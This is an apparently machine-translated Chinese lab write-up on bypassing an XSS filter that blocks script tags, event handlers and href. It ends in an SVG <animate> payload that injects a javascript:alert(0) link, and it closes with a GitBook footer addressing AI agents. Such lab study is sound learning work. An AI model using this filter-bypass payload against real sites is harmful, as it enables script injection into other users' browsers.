> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-with-blocked-events-and-href-attributes.md).

# 带被阻止事件和 href 属性的 XSS

### 带有事件处理器和 href 属性被阻止的反射型 XSS

实验 d 该操作必须注入一个带有以下文字的可点击元素 **“点击”** （或等效内容）并触发 `alert()` 在点击时。

插入一个可见元素，包含单词 **点击** 当用户点击它时，会执行 `alert()` 尽管已禁止事件处理器和 `href`.

```javascript
<script>
```

* 插入 `<script>` 返回： *标签不允许*.

<figure><img src="/files/0585a202de039e5d578df2bc4810fc8a1be4e289" alt=""><figcaption></figcaption></figure>

* 该 `<a>` 标签被接受（例如 `<a>test</a>`),

```javascript
<a>test</a>
```

<figure><img src="/files/e36cd6c32dc41fc74b02be202f92f7339529c4dc" alt="" width="510"><figcaption></figcaption></figure>

该 `href` 属性被拒绝—— `href="JavaScript:..."` 被阻止。

```javascript
<a href="javascript:alert(0);"点击我</a>
```

<figure><img src="/files/c8ab42dd17084af35adb03bbefee0d385ae74268" alt=""><figcaption></figcaption></figure>

* SVG 元素被允许（`<svg>` 被接受）。

```javascript
<svg>
```

<figure><img src="/files/a1b55efb397fc98e6c98efda6bdfaf9bc174299a" alt="" width="563"><figcaption></figcaption></figure>

* SVG 动画元素（例如 `<animate>`）似乎存在且可被利用。

<figure><img src="/files/b73a7d3f01c20c1eb5c75d1146fafc32b61faf69" alt=""><figcaption></figcaption></figure>

**尝试——**

* 注入 `<script>` → 被拒绝。
* 使用 `<a href="JavaScript:...">` → 被禁止的属性。
* 通过结合 SVG 和动画元素来绕过阻止，将一个 `href` 值传递给锚点，从而尝试运行 `JavaScript:alert(0)` 在点击时。

```javascript
<svg><a><animate attributeName=href values=javascript:alert(0) /><text x=30 y=30>点击我!</script></a>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/xss-with-blocked-events-and-href-attributes.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
